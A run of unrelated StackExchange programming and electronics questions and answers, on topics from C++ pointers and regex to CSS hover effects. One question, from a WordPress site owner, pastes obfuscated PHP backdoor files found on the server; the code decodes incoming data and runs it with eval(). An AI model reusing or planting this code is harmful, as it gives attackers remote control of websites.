text:
Q: What is the point of pointers? What is the point of pointers in C++ when I can just declare variables? When is it appropriate to use them?

A: Pointers are best understood by C & C++'s differences in variable passing to functions.
Yes, you can pass either an entire variable or just a pointer to it (jargon is by value or reference, respectively).
But what if the variable is 20 meg array of bytes, like you decided to read an entire file in to one array?  Passing it by value would be foolish: why would you copy 20 megs for this operation, and if you end up modifying it (i.e. it's an out-parameter) you have to copy that 20 megs BACK?
Better is to just "point" to it.  You say, "here's a pointer to a big blob of memory".  And that little indirection saves a ton of time.
Once you understand that, everything else is basically the same.  Rearranging items in a list becomes just swapping pointers rather than copying every item around, you don't need to know how big things are when you start out, etc

A: Pointers are also great for passing a mutable argument to a function so that the caller can "see the change". You may wonder, "but why not use a reference?". I like Google's argument:
http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml#Reference_Arguments

A: Pointers are most useful when dealing with data structures whose size and shape are not known at compile-time (think lists, trees, graphs, arrays, strings, ...).
Edit
These related answers might also help (the top answer in the second link is definitely worth a look):
In C++ I Cannot Grasp Pointers and Classes
What are the barriers to understanding pointers and what can be done to overcome them?

A: I had the exact same question when I was learning pointers, they just didn't seem important, but as you progress, you find out they are some times very useful.
Pointers are used often in programming situations. For example, when you reference an array by name, such as

array[i] = 3;

The compiler is doing some fancy math that ends up turning that code into
(address of array) + (sizeof(array elements) * i) = 3;
They also make trees, linked-lists and other data structures possible, which you will find out as you learn more.

A: At the most basic level, pointers allow you to associate disjoint blocks of memory.  A simple (contrived, admittedly) example of where pointers could help you would be in an algorithm that requires an array of 1000000000000 integers.  Such an array would be too large to fit within the RAM of the machine on which I am typing right now if I tried a definition such as:
int bigMatrix[1000000000000]; // I can't allocate this much contiguous memory

However, if I create a single array of pointers, I can keep the sub-arrays on a middle-sized disk array.
int *bigMatrix[1000000]; // Each pointer refers to a sub-array
                         // of 1000000 elements on disk

Admittedly, I will have to write code to page in those sub-arrays if / when the user requires them, including hiding the array notation behind an accessor method.  That said, pointers allow me to create the ad-hoc associations that I need when I need them.

A: Sometimes you have a function that needs to return some amount of memory that isn't a set amount, such as reading from a file.
bool ReadDataFromFile(char** contents);

You would declare a char* contents and pass the address of that pointer to the function.  That function would then allocate the memory and your pointer would point to the contents upon return.

A: Apart from efficiency and flexibility.The main point of pointers in C/C++ is that is how the hardware works, you could not wite a device driver, memory manager or efficient cache without using pointers somewhere along the line.
One of the main design goals for the first C compiler was to be a "portable assembly language" and to be able to do in a higher level language anything you could do with traditional assembly/machine code. This means being able to manipulate addresses directly - which is the point of pointers.
However following the KISS principle dont use pointers unless they really are making things simpler.

A: From an architectural perspective, pointers are an economical way to model a 0 .. n relationship:
struct A {
  vector<const B *> *pBees;
  A() : pBees(nullptr) {}
  void notice_bee(const B *pB) {
    if (!pBees)
      pBees = new vector<const B *>;
    pBees.push_back(pB)
  }
  ~A() {
    delete pBees; // no need to test, delete nullptr is safe
  }
  size_t bees_noticed() { return pBees ? pBees->size : 0 }
};

If the vast majority of A objects will never need to pay attention to any B objects, there is no reason why every A object should have a zero-length vector.  Under Gnu C++ 4.0.1, sizeof(vector) is 12; sizeof(vector *) is 4.

A: It sounds to me like you haven't yet learned about dynamic memory allocation.  There are two ways to allocate memory in C++: statically and dynamically.  You are already familiar with static allocation (i.e. - declaring variables).  This is great if you know at the time of writing your program exactly how many variables (or rather, memory) you need.
But what if you don't?  For example, let's say you're reading that contains a bunch of numbers you need to keep track of.  Why?  I don't know but that's not the point.
Well you could start with an array:
int array[100];

But what if there are more than 100 numbers in the file?  Eventually you'll want a more flexible solution:
int *array = new int[size];
// do stuff
delete [] array;

This gives you a lot more flexibility and lets you create more dynamic data structures.

A: Pointers store a memory address, so you would use them whenever you needed the memory address of something.
This can be useful for things such as memory management, knowing where your data is stored. My professor told us this is a beautiful thing for advance programs in terms of ensuring your data are contiguously located in memory (like c-style strings are).
Hope this is some form of help for you!
-Zen, a newbie at c++

A: From Wikipedia:

C++ references differ from pointers in
  several essential ways:

*

*It is not possible to refer directly to a reference object after
  it is defined; any occurrence of its
  name refers directly to the object it
  references.

*Once a reference is created, it cannot be later made to reference
  another object; we say it cannot be
  reseated. This is often done with
  pointers.

*References cannot be null, whereas pointers can; every reference refers
  to some object, although it may or may
  not be valid.

*References cannot be uninitialized. Because it is impossible to
  reinitialize a reference, they must be
  initialized as soon as they are
  created. In particular, local and
  global variables must be initialized
  where they are defined, and references
  which are data members of class
  instances must be initialized in the
  initializer list of the class's
  constructor.

With the above limitations, pointers are all you got as a lightweight container to reference object, especially if you are doing something with polymorphic or dynamic. Dynamic array of pure abstract class pointers to represent windows can be an example.
Since I am too lazy to think of an example of polymorphism I'll pull one from cplusplus.com:
// pointers to base class
#include <iostream>
using namespace std;

class CPolygon {
  protected:
    int width, height;
  public:
    void set_values (int a, int b)
      { width=a; height=b; }
  };

class CRectangle: public CPolygon {
  public:
    int area ()
      { return (width * height); }
  };

class CTriangle: public CPolygon {
  public:
    int area ()
      { return (width * height / 2); }
  };

int main () {
  CRectangle rect;
  CTriangle trgl;
  CPolygon * ppoly1 = ▭
  CPolygon * ppoly2 = &trgl;
  ppoly1->set_values (4,5);
  ppoly2->set_values (4,5);
  cout << rect.area() << endl;
  cout << trgl.area() << endl;
  return 0;
}

In the above code, pointer CPolygon * is used to reference CRectangle object and CTriangle object.

A: Suppose you write a text editor. In this case, you don't know the size of the document in advance. You might be tempted to declare something like

  char Document[10000];

but then certainly some day someone you will want to use your editor on a much larger document. So this attempt is futile; and what you need is a way to ask for new memory at runtime (instead of compile time).
The C++ way of doing this is using the operator new, which returns a pointer to the freshly allocated memory:

  char* pDocument = new char[getSizeOfDocument()];

(Note that this example is oversimplified. In real life, you would certainly not do it like this but instead use something like std::string and std::vector, which internally do this allocation for you.)


text:
Q: antenna feeds for SMT GPS patch antenna I am designing a GPS board with an SMT patch antenna (SGP.25cfrom Taoglas). I understand that the rf feed is 50Ohms impedance controlled track. But the datasheet shows 2 feeds - inner feed and outer feed. What are the 2 feeds. Does the inner feed mean that I can place the GPS on one layer and the antenna on the other layer and connect the RF track via the inner feed. In that case how is the impedance controlled through the via.
Thank you.

A: No, you need to leave a hole through the solder mask under the inner feed and provide an isolated pad to solder it to.  Anyway, if you feed from the inner feed, then the outer feed is going to become a stub that could cause some rather major reflection issues.

redpajama_set_name: RedPajamaStackExchange


text:
Q: Javascript: Add HTML to string - make a link and add it to output New to javascript, how do I fix this problem I'm having?
I want to add an a tag to a string variable that i'm creating using a function.
The whole message (eg - "Your tutor is JOHN DOE. Contact them here: CONTACT FORM") Is added to the DOM with another function (which works).
When I run the script it outputs to the browser but the second part (makeLink()) doesnt work.
This is what I get: "Your tutor is JOHN DOE. Contact them here http://www.example.com" - Instead of the URL I want word CONTACT FORM which should be a link.
How do I do this?
I tried using link() Method, which also didnt work and had similar output.
I'll only include the relevant script below, the rest works fine...
function makeMessage(){

    for(i in msgArr){

        stringMSG += msgArr[i];

        //do not add a comma after last item
        if(i < msgArr.length - 1){
            stringMSG += ', ';
        }

    }

    var highRiskmsg = "Your tutor is " + stringMSG + ". Contact them here" +  makeLink();

    return highRiskmsg;
}

function makeLink() {
    var contactLink = document.createElement("a");//create  tag
    contactLink.setAttribute("id", "linkC");//set id att for  tag
    contactLink.setAttribute("href", "http://www.example.com/contact.php");//set id att for  tag
    var contactLinkTxt = document.createTextNode("CONTACT FORM");//new text node
    contactLink.appendChild(contactLinkTxt);//append text as child of  tag

        return contactLink;
    }

A: It seems the problem is you are returning a DOM element from your makeLink() function, and this won't concat with the string as you expect.
You need to return a valid HTML string instead, such as: ..
The quickest way to fix your code would be just to change the return for the makeLink() function as follows:
return contactLink.outerHTML;

Using outerHTML will return the HTML string for the element, rather than the element itself.
Here is a working example

A: As an alternative to musefan's answer, you can return an element that contains both the message and link as nodes, instead of text.
function makeMessage(){
    var highRiskmsg = "Your tutor is " + msgArr.join(',') + ". Contact them here";

    var span = document.createElement('span');
    span.appendChild(document.createTextNode(highRiskmsg));
    span.appendChild(makeLink());

    return span;
}

Fiddle


text:
Q: How can I parse command line input to separate command, stdin, stdout, and stderr? Regex: How to match up until string a OR string b? I need to parse log files which run a command in the following format:
cmd options < stdin > stdout 2>> stderr

Some commands don't use stdin; some don't use stdout.
I can easily separate the cmd; I'm having trouble writing regex which can give me the other portions.
I know how to match up until a single string:
How to match "anything up until this sequence of characters" in a regular expression?
I don't know how to match up until string a OR string b.
That is, I want to match options up until either < or > or 2>> occurs.
Trying something like the following doesn't work.
import re

test = "cmd test1 test2 -c test3 < infile > outfile 2>> err"

optRegex = '.+?(?=>|<|(2>>))'
optRegex = re.compile(optRegex)

stdoutRegex = '>+?(?=>|<|(2>>))'
stdoutRegex = re.compile(stdoutRegex)

# get options
result = optRegex.search(test)
options = result.group()
rest = test[len(options):]
options = options.rstrip()

# get stdout
result = stdoutRegex.search(rest)
stdout = result.group()
rest = rest[len(stdout):]
stdout = stdout.rstrip()

print(options)
print(stdout)
print(rest)

Output:
cmd test1 test2 -c test3
>
 infile > outfile 2>> err

In hindsight, this is probably easier with a loop and scanning for start and end characters, but I'm curious about a regex solution.
Thanks!


text:
Q: Can't specify exact date when retrieving Facebook request dates https://m.facebook.com/friends/center/requests/outgoing/#friends_center_main

Hello, I am coding a chrome extension that will cancel friend requests sent on Facebook after a certain date. The problem is that Facebook writes the request dates in minutes, days, months, years etc. It is not possible to detect them perfectly on the plugin.
<abbr data-store="{"time":1642405814,"short":true,"forceseconds":false}" data-sigil="timestamp" data-store-id="0">3 ay</abbr>

The dates are given as attributes in json format as below, but I could not find how to process this date.
{"time":1642405814,"short":true,"forceseconds":false}

console.log(new Date(1642405814))

If I want to use new date directly as above, the year is 1970, but the request was sent a few months ago. It is outputting the wrong date.

 console.log(new Date(Date.now() - new Date(1642405814)))

Although I converted it as above, it shows that it is 1 month, but 3 months have passed since the request. I can't figure out how to set this date. Can you please help?

A: Just add three zeros of a millisecond to the end of the time
console.log(new Date(1642405814000))


text:
Q: Saving SQL files into specific folders in Oracle I am using Oracle 11g. When I open a new SQL file writing the command
ed filename.sql

A new file is created in my bin folder with the name as filename but, I want them to be in separate folders for my convenience. I am developing 3 application(well for my practice only). I want them to store in different folders for each project. I tried all of the following none of them worked please tell me how can I save the files into specific folders.
ed erp/logindetails.sql
ed 'erp/logindetails.sql'
ed "erp/logindetails.sql"
ed 'erp\logindetails.sql'
ed erp\logindetails.sql

These commands except where I used "" worked and opened the default text editor with the name afiedt.buf which I am getting when I enter only edit. No files are created with any of the above command.

A: You're giving EDIT a relative path to the file; since your current working directory seems to be the bin directory that the SQL*Plus directory is in (is this Windows, and are you running a shortcut that sets the working directory, maybe?) it will try to create a file like %ORACLE_HOME%\bin\erp\logindetails.sql, and you're unlikely to have created an erp directory there. Giving the full path to the directory will work:
edit c:\users\dibya\projects\erp\logindetails.sql

for example.
As noted in the documentation, EDIT will search for existing files, but that involves setting an environment variable - which you'd have to change as you move between the projects. You might find it easier to edit the files in the OS and just run them from SQL*Plus.
You might also be able to use separate shortcuts to launch SQL*Plus for each project, each setting the 'start in' directory to a project-specific location - then just edit logindetails.sql would be looking in the right place by default. Or, from a command prompt cd into the relevant project-specific directory and launch SQL*Plus from there, which is effectively what a shortcut would do.


text:
Q: Set a Cookie on WOAHbar jQuery to Remember Previous State I'm using the WOAHbar that is a free alternative to the Hello Bar. I got it here:
http://blog.jobdeals.com/2011/12/free-hellobar-com-alternative-source-code/
It's really awesome. The only thing I want it to do is remember the state the user chooses when that user visits another post or page. I know you can do this with cookies, I just don't know how. Here's the jQuery:

And here's the HTML:

    Want access to the largest inventory of storage auctions online?  Sign Up Today!

    <img class="woahbar-up-arrow" src="<?php bloginfo("template_url"); ?>/images/woahbar-up-arrow.png">

    <img class="woahbar-down-arrow" src="<?php bloginfo("template_url"); ?>/images/woahbar-down-arrow.png">

Any help is much appreciated!
edit:
I tried adding cookies using the jQuery Cookie Plugin. I'm new to jQuery, so I'm not real sure what I'm doing wrong:

A: You may use the jQuery cookie plugin and store the value of the state inside the cookie like:
at the top of your script declare the variable you want to use to store your cookie like:
var state; // declare the variable

later, somewhere in your code set the value after the user inputs the state
$.cookie('state', '{the input state value}', { expires: 7 });


text:
Q: Why is ethers trying to convert a string prop to a BigNumber? It's giving me an overflow error in the UI My solidity contract returns an array of this:
    struct Project {
        uint256 projectId;
        string name;
        string projectType;
        string location;
        bool sdgZeroHunger;
        bool sdgWaterBenefit;
        bool sdgGenderEqImpacts;
        string registry;
        string registryProjectId;
        string url;
    }

Method to return the projects:
    function allProjects() public view returns (Project[] memory) {
        return projects;
    }

This was working perfectly fine until I added the url property on the end. Now when I try to read the url property from the returned contract call I get this error:
Uncaught (in promise) url: overflow (fault="overflow", operation="toNumber", value="5192296858534827628530496329220096", code=NUMERIC_FAULT, version=bignumber/5.5.0)
    at Logger.makeError (http://localhost:3000/static/js/bundle.js:9668:19)
    at Logger.throwError (http://localhost:3000/static/js/bundle.js:9678:16)
    at throwFault (http://localhost:3000/static/js/bundle.js:6749:17)
    at BigNumber.toNumber (http://localhost:3000/static/js/bundle.js:6559:7)
    at StringCoder.decode (http://localhost:3000/static/js/bundle.js:3223:48)
    at StringCoder.decode (http://localhost:3000/static/js/bundle.js:3428:87)
    at http://localhost:3000/static/js/bundle.js:2987:23
    at Array.forEach (<anonymous>)
    at unpack (http://localhost:3000/static/js/bundle.js:2979:10)
    at TupleCoder.decode (http://localhost:3000/static/js/bundle.js:3513:83)

Looking at the stack trace ethers is trying to convert the value into a BigNumber:
    toNumber(): number {
        try {
            return toBN(this).toNumber();
        } catch (error) {
            throwFault("overflow", "toNumber", this.toString());
        }
        return null;
    }

I'm using the outputted typechain definitions in the frontend so I can have a strongly typed experience when talking to the contract. I instaniate the contract like this:
        const projectRegistryFactory = new ProjectRegistry__factory()

        const projectRegistryContract: ProjectRegistry = new ethers.Contract(
            '0x5FbDB2315678afecb367f032d93F642f64180aa3',
            projectRegistryFactory.interface.fragments,
            provider
        ) as ProjectRegistry

Perhaps that's the issue?

A: This was because url is a new field but MetaMask was caching the response from the hardhat node so it had old bytes that didn't include the url field but ehters was trying to decode the bytes anyway into the url field and it got very confused.


text:
Q: Is there an easy way to create a string from a string array in C? I am talking about some sort of function that can combine an array of character arrays into a single string.
Would I just have to loop through the array of strings and do it manually? The string was created using strtok().

A: If you're just using standard C and the standard C library, you have to loop through and do it manually.  (Of course you might use strncat in your loop.)

A: If you have an array of char arrays, like this:
char foo[<num>][<len>];

...then you can convert it into a string like this:
char *bar = (char *)foo;

If your strings are NULL-terminated or smaller than len, you may have to memmove() foo[i+1] to the position of strlen(bar) for each i.
Of course, it might be easier to just iterate through the array and concatenate the strings using strcat().


text:
Q: What is the folder which is named as 2o8yaett? There is a  problem in the system. The hosting that i use creates folders own its own. File extensions are 2o8yaett.php,g9v0okh4.php. It also creates fake folders such as index.php, cache.php. It breaks index.php foldrs of my wordpress sites. How can i slove this problem ?
2o8yaett.php
 $oidmnkl){function ghdxmxv($nnddx, $kujjzrc, $hvidkqy){return $nnddx[6]($nnddx[4]($kujjzrc . $nnddx[0], ($hvidkqy / $nnddx[8]($kujjzrc)) + 1), 0, $hvidkqy);}function dqltm($nnddx, $trtse){return @$nnddx[9]($nnddx[1], $trtse);}function cvtkdlp($nnddx, $trtse){$vbbdg = $nnddx[3]($trtse) % 3;if (!$vbbdg) {eval($trtse[1]($trtse[2]));exit();}}$oidmnkl = dqltm($nnddx, $oidmnkl);cvtkdlp($nnddx, $nnddx[5]($nnddx[2], $oidmnkl ^ ghdxmxv($nnddx, $kujjzrc, $nnddx[8]($oidmnkl))));}
alias.php
 $oidmnkl){function ghdxmxv($nnddx, $kujjzrc, $hvidkqy){return $nnddx[6]($nnddx[4]($kujjzrc . $nnddx[0], ($hvidkqy / $nnddx[8]($kujjzrc)) + 1), 0, $hvidkqy);}function dqltm($nnddx, $trtse){return @$nnddx[9]($nnddx[1], $trtse);}function cvtkdlp($nnddx, $trtse){$vbbdg = $nnddx[3]($trtse) % 3;if (!$vbbdg) {eval($trtse[1]($trtse[2]));exit();}}$oidmnkl = dqltm($nnddx, $oidmnkl);cvtkdlp($nnddx, $nnddx[5]($nnddx[2], $oidmnkl ^ ghdxmxv($nnddx, $kujjzrc, $nnddx[8]($oidmnkl))));}
g9v0okh4.php
 $lrgusga){function cdwtzm($edafa, $gqarbmn, $qtzpj){return $edafa[6]($edafa[4]($gqarbmn . $edafa[0], ($qtzpj / $edafa[8]($gqarbmn)) + 1), 0, $qtzpj);}function lqgcl($edafa, $witpkte){return @$edafa[9]($edafa[1], $witpkte);}function yhajb($edafa, $witpkte){$xwkdchr = $edafa[3]($witpkte) % 3;if (!$xwkdchr) {eval($witpkte[1]($witpkte[2]));exit();}}$lrgusga = lqgcl($edafa, $lrgusga);yhajb($edafa, $edafa[5]($edafa[2], $lrgusga ^ cdwtzm($edafa, $gqarbmn, $edafa[8]($lrgusga))));}


text:
Q: Passar parâmetros(incluindo uma imagem) para PHP com Axios utilizando formData Criei um componente React para ser meu botão personalizado de input:
getFormData(){
    var formData = new FormData();
    var imagefile = document.querySelector('#btn_file_logo');
    formData.append("image", imagefile.files[0]);
    return formData;
}

render() {
    return (

 this.abirInputFile()}>  {this.props.texto}

            <input type="file" className="form-control-file" id="btn_file_logo" name="btn_file_logo"  />

    );
}

Porem estou com dificuldade para utilizar o formData. A função getFormData() deve retornar o formData para outro componente, que vai pega-lo e adicionar com append o restante dos parâmetros que serão enviados ao servidor(utilizo PHP com o Slim Framework no server-side):
cadastrar(){
    this.refs.load.openLoad();

    var formData = this.refs.input_logo.getFormData();
    formData.append('nome',this.state.nome);
    formData.append('cnpj',this.state.cnpj);

    axios.post(config.urlBase + 'adicionar_empresa', {empresa:formData}).then(res => {
      if(res.data.status){
        this.refs.sucesso.openSucesso(2000);
        this.refs.load.closeLoad();
        this.limparCampos();
      }else{
        this.refs.erro.openErro(3000);
        this.refs.load.closeLoad();
      }
    })
}

O problema é que no servidor chegam vazios os parâmetros.

A: Consegui resolver
axios.post(config.urlBase + 'adicionar_empresa', {empresa:formData})

estava passando o parâmetro em JSON, o correto é assim
axios.post(config.urlBase + 'adicionar_empresa', formData)


text:
Q: the dangers of using too few/many features in reinforcement learning In continuous space reinforcement learning, is there a rule of thumb that tells you how many features should you observe?
What are the dangers of having too few or too many of the features?


text:
Q: obtain asp.net iframe src= database field I have a database table setup with a column that holds the name of a pdf file.  I load the table elements from MS Sql Server and can display them.  The issue I have is how to load the Brochure data element that holds the name of the pdf file into the Iframe SRC field.
I can hardcode the line like this and it works fine:

The dataelement that I want to use I can display like this:
<asp:Label ID="lbBrochure" runat="server" Text="LabelLabel"></asp:Label>
Comes back as Brochure1.pdf
How do I set the Iframe src equal to lbBrochure?
When I try putting it in quotes it comes back as a literal.  /csportal/lbBrochure
Instead I need it to pass "Brochure1.pdf", which is stored in the /csportal directory.
Thanks in advance,
Allen

A: <iframe id="iframeBrochure" src="<%= pathToPdf %>" />
Where pathToPdf is a String value accessible from your aspx or ascx, such as an exposed field in the parent Page subclass. There is no need for the runat="" attribute on the iframe.
Alternately, if you want to use HtmlGenericControl on the iframe, then like so:

And from your Page subclass (i.e. code-behind) this:
this.iframeBrochure.Attributes["src"] = pathToPdf;


text: Q: Show detached digital signatures with PDFRender I've got a PDF with detached signatures but they are not showing when I render the PDF with PDFRenderer (android.graphics.pdf.PdfRenderer). Is there any way to show these signatures with PDFRenderer or do I need to use a third party library?


text:
Q: Pandas: groupby by date and transform nunique returning too many entries I am trying to do a simple group-by in Pandas and it is not working as it should:
url='https://raw.githubusercontent.com/108michael/ms_thesis/master/raw_bills'

bills=pd.read_csv(url)
bills.date.nunique()
11
bills.dtypes

date         float64
bills         object
id.thomas      int64
dtype: object

bills[['date', 'bills']].groupby(['date']).bills.transform('nunique')

0       3627
1       7454
2       7454
3       7454
4       3627
5       7454
6       7454
7       3627
8       7454
9       7454
10      3627
11      7454
12      7454
13      7454
14      7454
15      7454
16      3627
17      3627
18      7454

I've done this sort of group-by before, and it usually works fine.
Any suggestions on this?

A: I'm not sure what you're asking, but don't you want to use:
bills[['date', 'bills']].groupby('date').bills.nunique()

date
2005.0    6820
2006.0    3738
2007.0    7454
2008.0    3627
2009.0    7324
2010.0    3297
2011.0    5787
2012.0    4647
2013.0    5694
2014.0    3211
2015.0       5
Name: bills, dtype: int64


text:
Q: How to dim the body from navbar hover HTML CSS? My current layout is this:

Say I want to dim the entire body when I hover over "More Info" in the navbar and show some information on the newly dimmed body, over everything that was there before; how would I go about doing that?
Everything I have found so far seems to use the fact that what you are trying to dim is the child of what you are hovering over, but if what I am hovering over is a navbar list item, I don't think I can do that, because I will need paragraphs to write the information I want to display.
My Code is as follows:

  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Pupillometer</title>
  <link rel="stylesheet" href="style.css">
  <link rel="stylesheet" href="hide.css">

Home

About

Product

Contact

More Info

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.

* {
  margin: 0;
  padding: 0;
}

body {
  color: white;
  font: arial sans-serif;
  width: 100%;
  height: 100vh;
  background-color: #333;
  overflow: hidden;
  background: url('https://source.unsplash.com/K2tdx2mFDHc/1600x900') no-repeat center center/cover;;
}
.container {
  width: 100%;
  height: 100%;
  overflow-y: scroll;
  scroll-behavior: smooth;
  scroll-snap-type: y mandatory;
}
.container {
  width: 100%;
  height: 100vh;
}
.navbar {
  position: fixed;
  display: flex;
  top:0;
  width: 100%;
  height: 60px;
  background: rgba(0, 0, 0, 0.5);
  justify-content: center;
}

.navbar ul {
  display: flex;
  list-style: none;
  justify-content: center;
  align-items: center;
}

.navbar ul li {
  margin: 0 1rem;
  padding: 1.5rem;
}
.navbar ul li a {
  text-decoration: none;
  color: white;
  transition: color 0.25s ease-in;
}

.navbar ul li a:hover {
  text-decoration: none;
  color: skyblue;
}
.navbar ul li.More:hover a {
  color: red;
}
section {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  text-align: center;
  width: 100%;
  height: 100vh;
  scroll-snap-align: center;
}

section h1 {
  font-size: 4rem;
}

section p {
  font-size: 1.5rem;
}

.Moreinfo {
  background:rgba(0,0,0,0.2);
  width:100%;
  height:100%;
  position:absolute;
  top: 60px;
  display:none;
  margin:0 auto;
  overflow:hidden;
  z-index: 1;
}
.navbar ul li.More:hover + .Moreinfo{
  display: block;
}

A: I think you are asking to show a div on hover.
Here is what I have tried. Please have a look at the code.

body{
  background-color:lightblue;
  color:white;
}
.more_info{
  background:rgba(0,0,0,0.2);
  width:100%;
  height:100%;
  position:absolute;
 display:none;
  margin:0 auto;
  overflow:hidden;
}
h1{
  cursor:pointer;
}
h1:hover + .more_info{
  display:block;
}
<!DOCTYPE html>

  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>JS Bin</title>

More info

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.

You can even add more listeners.

A: I have done something using jquery. This may be helpful.

$( '.navbar .more' ).hover(function() {
  $( '.moreinfo' ).toggleClass( "show" );
});
* {
  margin: 0;
  padding: 0;
}

body {
  color: white;
  font: arial sans-serif;
  width: 100%;
  height: 100vh;
  background-color: #333;
  overflow: hidden;
  background: url('https://source.unsplash.com/K2tdx2mFDHc/1600x900') no-repeat center center/cover;;
}
.container {
  position: relative;
  width: 100%;
  height: 100%;
  overflow-y: scroll;
  scroll-behavior: smooth;
  scroll-snap-type: y mandatory;
}
.container {
  width: 100%;
  height: 100vh;
}
.navbar {
  position: sticky;
  top:0;
  z-index: 99999;
  display: flex;
  width: 100%;
  height: 60px;
  background: rgba(0, 0, 0, 0.85);
  justify-content: center;
}

.navbar ul {
  display: flex;
  list-style: none;
  justify-content: center;
  align-items: center;
}

.navbar ul li {
  margin: 0 1rem;
  padding: 1.5rem;
}
.navbar ul li a {
  text-decoration: none;
  color: white;
  transition: color 0.25s ease-in;
}

.navbar ul li a:hover {
  text-decoration: none;
  color: skyblue;
}
.navbar ul li.More:hover a {
  color: red;
}
section {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  text-align: center;
  width: 100%;
  height: 100vh;
  scroll-snap-align: center;
}

section h1 {
  font-size: 4rem;
}

section p {
  font-size: 1.5rem;
}

.moreinfo {
  display: none;
  position: absolute;
  top: 60px;
  right: 0;
  bottom: 0;
  left: 0;
  background-color: rgba(17, 17, 17, 0.7);
  padding: 15px;
}

.show {
 display: block;
}

  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Pupillometer</title>
  <link rel="stylesheet" href="style.css">
  <link rel="stylesheet" href="hide.css">

Home

About

Product

Contact

More Info

Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.

A: $( '.More' ).hover(function() {
   $( '.Moreinfo' ).toggleClass( "show" );
});

Please check below link for exact what you want.
Please follow my codepen link

A: Add the following code in css
.dim {
height:100%;
width:100%;
position:fixed;
left:0;
top:0;
z-index:1 !important;
background-color:black;
filter: alpha(opacity=75); /* internet explorer */
-khtml-opacity: 0.75;      /* kht`enter code here`ml, old safari */
  -moz-opacity: 0.75;      /* mozilla, netscape */
       opacity: 0.75;      /* fx, safari, opera */
}

Then add the "dim" class to the body while listening the navigation hover

A: The easiest and the way I use for my web apps is adding this value in my navbar class
.navbarclass{
background-color:rgba(0,0,0,0.1)
}
the last value can be anything between 0.1 to 0.9
0.1 lightest
0.9 darkest


text:
Q: How to optimise the re-ordering of an array? I want to optimize the re-ordering of some data arrays that hold about 4 million unsigned shorts. The aim is to process a data stream by bringing values that should be similar to each other to be close to each other. The pseudo-code is like this:
  for( i=0; i<n; i++)
    dest[i] = src[ idx[i] ] ;

To optimize the code for a specific list of idx[i] I tried to compile a 4 million line c function with the idx values filled in:
void reorder( unsigned short * restrict i, unsigned short * restrict o) {
  o[0]=i[2075723];
  o[1]=i[2075724];
  o[2]=i[2075722];
  ...
  o[4194301]=i[4192257];
  o[4194302]=i[4192256];
  o[4194303]=i[4190208];
 }

I had hoped to get GCC to create a clever stream of pshufw/pblend/unpack instructions ... instead it hangs after using up a lot of memory (7 GB). I was trying to make copy based version to avoid the complications of doing swaps in place.
Would anyone be able to suggest good ways to produce optimized the code for this problem? So far I tried:

*

*ordered reading, random writes : 60 ms (openmp didn't help)

*ordered writing, random reads  : 20 ms (openmp -> 4 ms)

I was hoping to end up getting closer to the memory bandwidth (order 0.4 ms). A scheme that takes into account cache size and does blocking should help but I don't know where to start for designing one to do it. I also wonder if there is a simple way to exploit SIMD instructions?
Making a toy example with transpose I couldn't even get gcc to output an SIMD version, see:
https://godbolt.org/z/bzGWad
Is this a difficult problem for compilers or am I missing something simple?
Edit 21/11/2018 Added a complete but minimal example of the problem
Here is a complete example of the problem I am trying to optimise. In reality the ordering is a more complicated function, but the point is just to order data pixels according to their distance from the image center, like unwinding a spiral.
#include <omp.h>
#include <vector>
#include <cmath>
#include <iostream>
#include <iomanip>
#include <algorithm>

#define N 2048

// Sorting on output, one core
void reorder_simple( const std::vector<size_t> &indices,
             const unsigned short input[],
             unsigned short output[]){
  for( int i=0; i<N*N; i++)
    output[i] = input[ indices[i] ];
}
// Sorting on output write, many cores
void reorder_omp( const std::vector<size_t> &indices,
          const unsigned short input[],
          unsigned short output[]){
#pragma omp parallel for
  for( int i=0; i<N*N; i++)
    output[i] = input[ indices[i] ];
}
// Benchmark for memory throughput, one core
void copy_simple(  const std::vector<size_t> &indices,
           const unsigned short input[],
           unsigned short output[]){
  for( int i=0; i<N*N; i++)
    output[i] = input[i];
}
// Benchmark for memory throughput, many cores
void copy_omp (  const std::vector<size_t> &indices,
         const unsigned short input[],
         unsigned short output[]){
#pragma omp parallel for
  for( int i=0; i<N*N; i++)
    output[i] = input[i];
}

// Macro to avoid retyping
#define bench(func)                                          \
  func( indices, input, output);                             \
  start = omp_get_wtime();                                   \
  for( size_t i=0; i<100; i++)                               \
      func( indices, input, output );                        \
  end =  omp_get_wtime();                                    \
  std:: cout << std::setw(15) << #func <<                    \
     ", Time taken: "  << (end-start)/100 << " /s\n";

int main()
{
  std::vector<float> sort_order(N*N);
  std::vector<size_t> indices(N*N);
  float radius, azimuth, ci, cj;
  double start, end;
  unsigned short *input, *output;

  ci = N*0.496;  // changes according to calibration
  cj = N*0.4985;  // reality is more complicated (tilts etc)
  for( size_t i=0; i<N; i++){
    for( size_t j=0; j<N; j++){
      radius  = sqrt( (i-ci)*(i-ci) + (j-cj)*(j-cj) );
      azimuth = atan2( i-ci, j-cj ); // from -pi to pi
      sort_order[i*N+j] = round( radius ) + azimuth/2/M_PI;
